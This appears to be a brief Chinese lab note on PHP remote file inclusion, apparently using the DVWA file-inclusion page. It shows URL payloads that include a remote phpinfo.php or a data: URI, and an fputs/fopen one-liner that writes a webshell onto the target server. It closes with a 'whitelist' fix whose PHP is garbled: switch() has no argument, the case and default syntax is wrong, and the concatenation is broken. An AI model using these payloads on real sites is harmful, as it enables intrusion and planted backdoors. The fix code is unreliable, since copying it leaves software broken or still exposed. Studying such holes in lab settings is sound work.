當allow_url_open=on
allow_url_include=on
就會造成文件包含漏洞
http://要入侵的網(wǎng)站/vulnerabilities/fi/?page=http://本地網(wǎng)站/phpinfo.php
這樣就可以執(zhí)行phpinfo.php ?中的phpinfo（）函數(shù)
還有就是可以直接在服務(wù)器上fput上webshell一句話木馬
fputs(fopen('rfi_shell.php','w'),'<php小馬>）
http://127.0.0.1/rfi.php?file=data:text/plain,<上面的一句話也可以put進去>
修復(fù)代碼骤素，白名單思想
<?php
$file=$_GET['file'];
switch (){
case 'main';
case 'foo';
case 'bar';
include '/home/wwwroot/defualt' $file.php;
default '/home/wwwroot/default/index.php';
}
?>
